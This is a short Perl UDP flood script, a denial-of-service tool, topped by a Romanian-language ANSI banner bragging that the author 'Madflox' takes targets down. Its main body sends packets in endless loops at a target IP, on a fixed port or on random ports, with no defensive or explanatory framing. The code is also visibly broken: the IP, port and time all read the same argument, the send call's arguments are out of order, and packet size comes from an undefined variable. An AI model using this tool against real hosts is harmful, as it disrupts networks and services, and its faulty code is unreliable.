#!/usr/bin/perl
use Socket;
$ARGC=@ARGV;
my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[0];
$time=$ARGV[0];
socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "[1;35m#[1;33m#[1;31m*[0;32m  
MM        MM  U          U  I  EEEEEE
M M      M M  U          U     E
M  M    M  M  U          U  I  E
M   M  M   M  U          U  I  E
M    MM    M  U          U  I  E
M          M  U          U  I  E
M          M  U          U  I  EEEEEEE
M          M  U          U  I  E
M          M  U          U  I  E
M          M  U          U  I  E
M          M  U          U  I  E
M          M  U          U  I  E
M          M  U          U  I  E
M          M   U U U U U    I  EEEEEEEE
                                                                        
 [1;36m$ipn";
printf "[1;35m#[1;33m#[1;31m*[0;32m #DOWN  [0;31mArhiva e a lu MadFLOX ce cauti cu ea?§ [0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m By [1;33CMadflox pica pe toti cu [1;36mVALOAREE [0m\n";
printf "[1;35m#[1;33m#[1;31m*[0;32m Tine-l in [1;36m[0;32mflood @ [1;33mip-ul e la chirurgie [0m\n";


if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &"); 
goto randpackets;
}
packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}